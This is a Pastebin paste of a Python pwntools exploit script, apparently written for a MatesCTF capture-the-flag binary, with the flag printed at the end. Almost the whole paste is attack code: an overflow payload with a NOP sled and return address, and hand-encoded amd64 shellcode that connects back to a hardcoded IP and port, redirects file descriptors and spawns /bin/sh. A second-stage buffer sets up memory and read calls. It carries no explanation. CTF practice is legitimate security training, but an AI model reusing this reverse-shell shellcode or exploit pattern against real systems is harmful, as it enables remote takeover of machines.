Guest User

Untitled

a guest
Jun 21st, 2018
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.42 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3.  
  4. from pwn import *
  5.  
  6.  
  7.  
  8. io = process("./get_binary")
  9.  
  10. context.clear()
  11. context.arch = "amd64"
  12. context.log_level = "debug"
  13. context.endian = "little"
  14.  
  15.  
  16. host = p32(0x675c1cd3)[::-1]
  17. port = "\x11\x5c"
  18. port1 = "\x7a\x69"
  19.  
  20.  
  21. shellcode = "\x90"*0x34 + p64(0x40055c) + "\x90"*8
  22.  
  23.  
  24. shellcode += "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
  25. shellcode += "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
  26. shellcode += "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
  27. shellcode += "\x02"+port+"\xc7\x44\x24\x04"+host+"\x48\x89\xe6\x6a\x10"
  28. shellcode += "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
  29. shellcode += "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
  30. shellcode += "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
  31. shellcode += "\x5f\x6a\x3b\x58\x0f\x05"
  32. shellcode += "\x90"*(0x200-len(shellcode))
  33.  
  34. syscall = 0x400364
  35. read = 0x4002BB
  36.  
  37.  
  38. p = "\x0f\x00\x00\x00"
  39. p += p64(0x400520+4)
  40. p += p64(0x400350)
  41. p += p64(read)
  42. p += p64(0xa)
  43. p += p64(0x400000)
  44. p += p64(0x1000)
  45. p += p64(0x7)
  46. p += p64(0x400500)
  47. p += p64(0x100)
  48. p += p64(0)*3
  49. p += "\x90"*(0x64-len(p))
  50. # gdb.attach(io)
  51.  
  52. # io.send(p)
  53.  
  54. x = "\x90"*4
  55. x += p64(0x400520+4)
  56. x += p64(0x400374)
  57. x += p64(0x200)
  58. x += p64(0)*3
  59. x += "A"*(0x64-len(x))
  60.  
  61.  
  62. with open("./get_ol", "wb") as f:
  63. f.write(p + x + shellcode)
  64.  
  65.  
  66. io.interactive()
  67.  
  68.  
  69. #MatesCTF{why_4m_1_s0_0bs3ss3d_w1th_bl1nd_RC3?}
Add Comment
Please, Sign In to add comment